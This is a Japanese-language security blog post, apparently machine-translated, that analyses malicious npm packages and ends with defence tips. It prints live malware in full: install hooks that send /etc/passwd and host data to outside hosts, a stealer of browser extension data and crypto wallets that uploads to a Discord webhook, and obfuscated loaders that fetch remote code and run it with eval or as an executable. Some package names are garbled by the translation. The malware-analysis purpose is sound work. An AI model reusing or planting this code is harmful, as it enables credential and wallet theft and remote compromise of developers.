会社情報 ノード エコシステムは信頼の上に成り立っている。 npmインストール
しかし、その信頼はしばしば見当違いのものとなる。しかし、その信頼はしばしば見当違いである。
昨年来、npmに公開される悪意のあるパッケージの数が増加し、しばしば目につくところに隠れているという不穏な傾向が見られる。研究者による粗雑な概念実証(PoC)もあれば、慎重に作られたバックドアもある。正規のライブラリのふりをするものもあれば、難読化や巧妙なフォーマットのトリックを使って、目と鼻の先でデータを流出させるものもある。
この記事では、私たちが実際に分析した悪意のあるパッケージをいくつか紹介する。それぞれ、私たちが実際に目にする攻撃手法の明確な典型を表しています。あなたが開発者であれ、レッドチーマーであれ、セキュリティエンジニアであれ、これらのパターンに注意を払うべきです。
PoCについて

私たちが目にするパッケージの多くは、セキュリティ研究者からのもので、ステルスであろうとする試みは全くない。彼らは単に何かを証明しようとしているだけであり、多くの場合バグ賞金稼ぎの一環である。つまり、彼らのパッケージはたいてい本当にシンプルで、コードを含んでいないことが多い。彼らは、プリインストール、インストール、ポストインストールなど、パッケージが使用できる「ライフサイクルフック」に純粋に依存しています。これらのフックは、インストール中にパッケージマネージャが実行する単純なコマンドです。
例 ローカル・エディター・トップ
以下はパッケージの例である。 ローカル・エディター・トップ
を投稿するプリインストールフックによって検出されたパッケージです。 /etc/passwd
ファイルをBurp Suite Collaboratorのエンドポイントにホスト名を先頭に付けて送信します。
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
例 ccf-identity
研究者の中には、さらに一歩進んで、パッケージ内のファイルをこう呼ぶ人もいる。 ccf-identity
を使用してデータを抽出した。一例として、私たちはパッケージを検出し、ライフサイクルフックを観測し、そして、流出環境の多くの指標を持つjavascriptファイルを観測しました:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
ご覧のように、このファイルは インデックス.js
パッケージのインストール・プロセスが始まる前に、このファイルをインストールしてください。以下はそのファイルの内容である。
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
これらの概念実証は、多くの情報を収集するためにかなり遠くまで行き、ネットワーク・アダプターに関する情報もしばしば含まれる!
偽者

もしあなたが鋭い方なら、先の例がマイクロソフトのパッケージであることを示しているように見えたことに気づいたかもしれない。お気づきでしたか?ご心配なく、実はマイクロソフトのパッケージではありません!むしろ、これは2つ目のアーキタイプの例でもあるのです:偽者
その好例が、このパッケージだ。 リクエスト・プロミス
.その......その......その......その package.json
ファイル:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
面白いことに気づくだろう。最初は本物のパッケージのように見えるが、何かがおかしいという2つの大きなヒントがある:
- Githubのリファレンスには次のように書かれている。
リクエスト・プロミス
つまり単数形である。パッケージ名は複数形です。 - というファイルのポストインストールフックがある。
lib/rq.js
.
このパッケージはそれ以外は合法的に見える。パッケージから期待されるコードが lib/rp.js
(の違いに注目してほしい。 rp.js
そして rq.js
).では、この追加ファイルを見てみよう、 lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
という関数があることに騙されてはいけない。 メイクラブ
.このコードがブラウザのキャッシュと暗号ウォレットを探し、base64エンコードされたエンドポイントに送信することはすぐにわかる。デコードすると、Discordのウェブフックであることがわかる。
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
結局のところ、それほど愛に溢れているわけではない。
難読化

検知を回避する古典的なトリックは、難読化を使うことだ。防御側として朗報なのは、難読化は 本当に うるさいし、目立つし、ほとんどの場合克服するのは簡単だ。その一例が チキン・イズ・グッド
.ファイルを見る インデックス.js
明らかに難読化されていることがわかる。
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
すでに次のようなことが書かれている。 チェック仮想マシン
, チェックアップタイム
, isHostnameValid
など、疑念を抱かせる名前がついている。しかし、それが何をやっているのかを完全に確認するために、一般に公開されているデオブファスカーター/デコーダーを通すことができる。すると突然、もう少し読みやすいものが得られる。
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
多くのシステム情報を収集し、ある時点でHTTPリクエストを送信することは明らかだ。また、HTTPリクエストのコールバック内にeval()が存在するため、任意のコードを実行し、悪意のある動作を示すようだ。
トリックスター

時々、本当にこっそり隠そうとするパッケージも見かける。ロジックを理解しにくくするために難読化で隠そうとしているのではない。ただ、人間が注意を払わないとわからないようにしているだけなのだ。
そのような例として、パッケージ htpsカール
.以下は公式npmサイトから見たコードである:

一見、何の変哲もないように見えるだろう?しかし、横スクロールバーにお気づきだろうか?これは空白で本当のペイロードを隠そうとしているのだ!実際のコードを少し美化するとこうなる。
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
隠しペイロードがある。base64エンコードされたblobがあり、それがデコードされ、関数に変換され、そして呼び出される。これがデコードされ、きれいになったペイロードだ。
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
ここでは、ペイロードがウェブソケットを通じてリモート・サーバーに接続し、メッセージを送信していることがわかる。そして、そのレスポンスがbase64デコードされ、ディスクに保存され、実行される。
親切すぎるヘルパー

最後の原型は、役に立つが、ちょっと役に立ちすぎる図書館である。ここで使う例は 統合ロガー
パッケージいつものように package.json
ファイル。
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
ライフサイクルフックが見当たらない。ちょっと不思議だ。しかし、ロギング・ライブラリにとって、依存関係が アクシオス
これはHTTPリクエストに使われる。そこから インデックス.js
ファイルをインポートするファイルである。 src/logger.js。
それを見てみよう。
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
一見して目立つものは何もない。 エラーレポート
コンストラクタでインスタンス化され、使用されていない?このクラスが何をするのか見てみよう。
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
ここにはもっと多くのことがある。難読化が進んでいるので、ここでは簡略化して説明する。
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
これで、このコードが何をしているのかがより明確になった。コンストラクタの中で 報告エラー
関数をエラーメッセージなしでインポートできる。この関数は難読化されており、インポートに必要な部分を含んでいる。 アクシオス
を呼び出す。 eval()
を返す。つまり、このライブラリーはある意味、ロギングの手助けをしてくれる。しかし、ちょっと役に立ちすぎるかもしれない。 ロガー
クラスがインスタンス化される。
🛡️ ディフェンスのヒント
このようなパッケージを防御するためだ:
- ライフサイクルフックを常に監査する で
package.json
.これらは一般的な攻撃ベクターである。 - レポとパッケージ名を確認する- 微妙な名前の違いは、しばしばトラブルを意味する。
- 難読化、最小化されたコード、小さなパッケージ内のbase64blobを疑ってください。
- 以下のようなツールを使用する アイクディオ・インテル のようなツールを使って、怪しいパッケージにフラグを立てよう。
- ロックファイル(
パッケージロック.json
). - プライベートレジストリのミラーまたはパッケージファイアウォール(Artifactory、Snyk Brokerなど)を使用して、サプライチェーンに入るものを制御する。